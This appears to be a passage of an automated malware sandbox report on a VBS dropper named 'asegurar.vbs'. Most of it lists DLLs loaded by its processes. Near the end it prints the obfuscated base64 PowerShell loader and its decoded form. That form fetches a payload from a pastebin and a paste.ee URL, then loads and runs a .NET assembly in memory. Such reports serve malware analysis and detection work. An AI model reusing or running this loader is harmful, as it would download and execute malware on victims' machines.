Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: fwpuclnt.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Found suspicious powershell code related to unpacking or dynamic code loading

Source: asegurar.vbs

Static file information: File size 15016182 > 1048576

Data Obfuscation

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: $IuJUJJZz = 'WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?HI?dgBp?GM?ZQBQ?G8?aQBu?HQ?TQBh?G4?YQBn?GU?cgBd?Do?OgBT?GU?YwB1?HI?aQB0?Hk?U?By?G8?d?Bv?GM?bwBs?C??PQ?g?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?V?B5?H??ZQBd?Do?OgBU?Gw?cw?x?DI?Ow?k?EM?QwBS?Gg?bQ?g?D0?I??n?Gg?d?B0?H??cw?6?C8?LwBw?GE?cwB0?GU?YgBp?G4?LgBj?G8?bQ?v?HI?YQB3?C8?Sg?2?HU?UgBq?Fo?cgB2?Cc?I??7?CQ?Zg?g?D0?I??o?Fs?UwB5?HM?d?Bl?G0?LgBJ?E8?LgBQ?GE?d?Bo?F0?Og?6?Ec?ZQB0?FQ?ZQBt?H??U?Bh?HQ?a??o?Ck?I??r?C??JwBk?Gw?b??w?DE?LgB0?Hg?d??n?Ck?I??7?Ek?bgB2?G8?awBl?C0?VwBl?GI?UgBl?HE?dQBl?HM?d??g?C0?VQBS?Ek?I??k?EM?QwBS?Gg?bQ?g?C0?TwB1?HQ?RgBp?Gw?ZQ?g?CQ?Zg?g?C0?VQBz?GU?QgBh?HM?aQBj?F??YQBy?HM?aQBu?Gc?I??7?GM?bQBk?C4?ZQB4?GU?I??v?GM?I??7?H??aQBu?Gc?I??x?DI?Nw?u?D??Lg?w?C4?MQ?g?Ds?c?Bv?Hc?ZQBy?HM?a?Bl?Gw?b??u?GU?e?Bl?C??LQBj?G8?bQBt?GE?bgBk?C??ew?k?GY?I??9?C??K?Bb?FM?eQBz?HQ?ZQBt?C4?SQBP?C4?U?Bh?HQ?a?Bd?Do?OgBH?GU?d?BU?GU?bQBw?F??YQB0?Gg?K??p?C??Kw?g?Cc?Z?Bs?Gw?M??x?C4?d?B4?HQ?Jw?p?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?SQBu?HY?bwBr?GU?LQBX?GU?YgBS?GU?cQB1?GU?cwB0?C??LQBV?FI?SQ?g?CQ?UQBQ?HQ?YQB2?C??LQBP?HU?d?BG?Gk?b?Bl?C??J?Bm?C??LQBV?HM?ZQBC?GE?cwBp?GM?U?Bh?HI?cwBp?G4?ZwB9?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?J?Bq?GQ?YgBm?Gs?I??9?C??Jw?w?Cc?I??7?CQ?ZQB2?G8?bQBu?C??PQ?g?Cc?JQBK?Gs?UQBh?HM?R?Bm?Gc?cgBU?Gc?JQ?n?C??OwBb?EI?eQB0?GU?WwBd?F0?I??k?GQ?d?B2?GU?Yg?g?D0?I?Bb?HM?eQBz?HQ?ZQBt?C4?QwBv?G4?dgBl?HI?d?Bd?Do?OgBG?HI?bwBt?EI?YQBz?GU?Ng?0?FM?d?By?Gk?bgBn?Cg?I??k?FE?U?B0?GE?dg?u?HI?ZQBw?Gw?YQBj?GU?K??n?CQ?J??n?Cw?JwBB?Cc?KQ?g?Ck?I??7?Fs?UwB5?HM?d?Bl?G0?LgBB?H??c?BE?G8?bQBh?Gk?bgBd?Do?OgBD?HU?cgBy?GU?bgB0?EQ?bwBt?GE?aQBu?C4?T?Bv?GE?Z??o?CQ?Z?B0?HY?ZQBi?Ck?LgBH?GU?d?BU?Hk?c?Bl?Cg?JwBU?GU?a?B1?Gw?YwBo?GU?cwBY?Hg?W?B4?Hg?LgBD?Gw?YQBz?HM?MQ?n?Ck?LgBH?GU?d?BN?GU?d?Bo?G8?Z??o?Cc?TQBz?HE?QgBJ?GI?WQ?n?Ck?LgBJ?G4?dgBv?Gs?ZQ?o?CQ?bgB1?Gw?b??s?C??WwBv?GI?agBl?GM?d?Bb?F0?XQ?g?Cg?Jw?w?C8?Zg?y?Gs?cgBS?C8?Z??v?GU?ZQ?u?GU?d?Bz?GE?c??v?C8?OgBz?H??d?B0?Gg?Jw?g?Cw?I??k?GU?dgBv?G0?bg?g?Cw?I??n?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?Xw?t?C0?LQ?t?C0?LQ?t?Cc?L??g?CQ?agBk?GI?ZgBr?Cw?I??n?DE?Jw?s?C??JwBS?G8?Z?Bh?Cc?I??p?Ck?Ow?=';$Yolopolhggobek = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $IuJUJJZz.replace('?','A') ) );$Yolopolhggobek = $Yolopolhggobek.replace('%JkQasDfgrTg%', 'C:\Users\user\Desktop\asegurar.vbs');powershell $Yolopolhggobek;$global:?

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?HI?dgBp?GM?ZQBQ?G8?aQBu?HQ?TQBh?G4?YQBn?GU?cgBd?Do?OgBT?GU?YwB1?HI?aQB0?Hk?U?By?G8?d?Bv?GM?bwBs?C??PQ?g?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?V?B5?H??ZQBd?Do?OgBU?Gw?cw?x?DI?Ow?k?EM?QwBS?Gg?bQ?g?D0?I??n?Gg?d?B0?H??cw?6?C8?LwBw?GE?cwB0?GU?YgBp?G4?LgBj?G8?bQ?v?HI?YQB3?C8?Sg?2?HU?UgBq?Fo?cgB2?Cc?I??7?CQ?Zg?g?D0?I??o?Fs?UwB5?HM?d?Bl?G0?LgBJ?E8?LgBQ?GE?d?Bo?F0?Og?6?Ec?ZQB0?FQ?ZQBt?H??U?Bh?HQ?a??o?Ck?I??r?C??JwBk?Gw?b??w?DE?LgB0?Hg?d??n?Ck?I??7?Ek?bgB2?G8?awBl?C0?VwBl?GI?UgBl?HE?dQBl?HM?d??g?C0?VQBS?Ek?I??k?EM?QwBS?Gg?bQ?g?C0?TwB1?HQ?RgBp?Gw?ZQ?g?CQ?Zg?g?C0?VQBz?GU?QgBh?HM?aQBj?F??YQBy?HM?aQBu?Gc?I??7?GM?bQBk?C4?ZQB4?GU?I??v?GM?I??7?H??aQBu?Gc?I??x?DI?Nw?u?D??Lg?w?C4?MQ?g?Ds?c?Bv?Hc?ZQBy?HM?a?Bl?Gw?b??u?GU?e?Bl?C??LQBj?G8?bQBt?GE?bgBk?C??ew?k?GY?I??9?C??K?Bb?FM?eQBz?HQ?ZQBt?C4?SQBP?C4?U?Bh?HQ?a?Bd?Do?OgBH?GU?d?BU?GU?bQBw?F??YQB0?Gg?K??p?C??Kw?g?Cc?Z?Bs?Gw?M??x?C4?d?B4?HQ?Jw?p?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?SQBu?HY?bwBr?GU?LQBX?GU?YgBS?GU?cQB1?GU?cwB0?C??LQBV?FI?SQ?g?CQ?UQBQ?HQ?YQB2?C??LQBP?HU?d?BG?Gk?b?Bl?C??J?Bm?C??LQBV?HM?ZQBC?GE?cwBp?GM?U?Bh?HI?cwBp?G4?ZwB9?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?J?Bq?GQ?YgBm?Gs?I??9?C??Jw?w?Cc?I??7?CQ?ZQB2?G8?bQBu?C??PQ?g?Cc?JQBK?Gs?UQBh?HM?R?Bm?Gc?cgBU?Gc?JQ?n?C??OwBb?EI?eQB0?GU?WwBd?F0?I??k?GQ?d?B2?GU?Yg?g?D0?I?Bb?HM?eQBz?HQ?ZQBt?C4?QwBv?G4?dgBl?HI?d?Bd?Do?OgBG?HI?bwBt?EI?YQBz?GU?Ng?0?FM?d?By?Gk?bgBn?Cg?I??k?FE?U?B0?GE?dg?u?HI?ZQBw?Gw?YQBj?GU?K??n?CQ?J??n?Cw?JwBB?Cc?KQ?g?Ck?I??7?Fs?UwB5?HM?d?Bl?G0?LgBB?H??c?BE?G8?bQBh?Gk?bgBd?Do?OgBD?HU?cgBy?GU?bgB0?EQ?bwBt?GE?aQBu?C4?T?Bv?GE?Z??o?CQ?Z?B0?HY?ZQBi?Ck?LgBH?GU?d?BU?Hk?c?Bl?Cg?JwBU?GU?a?B1?Gw?YwBo?GU?cwBY?Hg?W?B4?Hg?LgBD?Gw?YQBz?HM?MQ?n?Ck?LgBH?GU?d?BN?GU?d?Bo?G8?Z??o?Cc?TQBz?HE?QgBJ?GI?WQ?n?Ck?LgBJ?G4?dgBv?Gs?ZQ?o?CQ?bgB1?Gw?b??s?C??WwBv?GI?agBl?GM?d?Bb?F0?XQ?g?Cg?Jw?w?C8?Zg?y?Gs?cgBS?C8?Z??v?GU?ZQ?u?GU?d?Bz?GE?c??v?C8?OgBz?H??d?B0?Gg?Jw?g?Cw?I??k?GU?dgBv?G0?bg?g?Cw?I??n?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?Xw?t?C0?LQ?t?C0?LQ?t?Cc?L??g?CQ?agBk?GI?ZgBr?Cw?I??n?DE?Jw?s?C??JwBS?G8?Z?Bh?Cc?I??p?Ck?Ow?=';$Yolopolhggobek = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $IuJUJJZz.replace('?','A') ) );$Yolopolhggobek = $Yolopolhggobek.replace('%JkQasDfgrTg%', 'C:\Users\user\Desktop\asegurar.vbs');powershell $Yolopolhggobek;
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$CCRhm = 'https://pastebin.com/raw/J6uRjZrv' ;$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;Invoke-WebRequest -URI $CCRhm -OutFile $f -UseBasicParsing ;cmd.exe /c ;ping 127.0.0.1 ;powershell.exe -command {$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;$QPtav = ( Get-Content -Path $f ) ;Invoke-WebRequest -URI $QPtav -OutFile $f -UseBasicParsing} ;$QPtav = ( Get-Content -Path $f ) ;$jdbfk = '0' ;$evomn = 'C:\Users\user\Desktop\asegurar.vbs' ;[Byte[]] $dtveb = [system.Convert]::FromBase64String( $QPtav.replace('$$','A') ) ;[System.AppDomain]::CurrentDomain.Load($dtveb).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('0/f2krR/d/ee.etsap//:sptth' , $evomn , '____________________________________________-------', $jdbfk, '1', 'Roda' ));"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 